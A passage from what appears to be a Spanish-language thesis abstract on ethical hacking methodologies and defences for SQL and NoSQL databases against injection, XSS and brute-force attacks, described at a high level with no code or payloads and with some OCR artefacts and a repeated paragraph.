Realizar el levantamiento de informacion sobre Metodologias de ethical hacking
y mecanismos de seguridad para las bases de datos relacionales y no
relacionales.

Determinar y aplicar las metodologias de ethical hacking en entorno de prueba
con sistemas de gestion de bases de datos relacionales y no relacionales.

Presentar propuesta con los mecanismos o técnicas de proteccion para evitar los
ataques a bases de datos relacionales y no relacionales.

Areas del Conocimiento: El campo de aplicacion es en el en el area de la
Informéatica, en Seguridad Informatica especificamente en lo relacionado con los
ataques a bases de datos mediante inyeccion SQL y NOSQL. Se abordaron

130




tematicas relacionadas con los motores de bases de datos MySql, Oracle,
MongoDB y CouchDB, asi como la explotacion de vulnerabilidades y los posibles
mecanismos de proteccion.

Metodologia: De acuerdo a los tipos de investigacion existentes y teniendo en
cuenta que las caracteristicas de los medios utilizados para obtener los datos del
proyecto se realizan a través de fuentes de informacion electronica la
investigacion tiene un enfoque de tipo descriptiva y cuantitativa.

Resultados: se identificaron algunos de los principales ataques (fuerza bruta,
XSS, inyeccion sql, inyeccion nosql) que ocurren en las bases de datos mediante
diversas técnicas que se han desarrollado a medida que la tecnologia ha
avanzado a través del tiempo. De igual manera se identificaron y probaron
algunas herramientas que permiten el andlisis de vulnerabilidades a las bases de
datos, asi como otras que permiten realizar una evaluacion de los controles
implementados con el fin de identificar puntos criticos con el fin de mejorar y
garantizar la seguridad en las bases de datos. Por otra parte, se logro establecer
los mecanismos y actividades que convienen ser adoptados por las
organizaciones para proporcionar los lineamientos, soporte, componentes y
metodologias para la proteccion de los sistemas informaticos de nivel critico para
la operacion misional especial lo relacionado con bases de datos SQL y NOSQL.

Conclusiones:

Los escenarios configurados para las pruebas de penetracion y ataques de
inyeccién SQL y NoSQL son técnicas que permitieron comprobar la seguridad de
las bases de datos, asi como detectar vulnerabilidades en la red y aplicaciones
web, que por lo general son aprovechadas por un intruso para explotarlas.

Los escenarios configurados para las pruebas de penetracién y ataques de
inyeccion SQL y NoSQL son técnicas que permitieron comprobar la seguridad de
las bases de datos, asi como detectar vulnerabilidades en la red y aplicaciones
web, que por lo general son aprovechadas por un intruso para explotarlas.

La guia de pruebas OWASP, asi como sus referentes y demas procedimientos
brindan un excelente mecanismo para establecer criterios validos cuando se
planifica disefia, desarrolla y mantiene una aplicacion. Se abarca de manera
acertada, aspectos tanto técnicos como organizativos, involucrando disefiadores,
desarrolladores, programadores, analistas de seguridad y personal directivo en
una organizacion.
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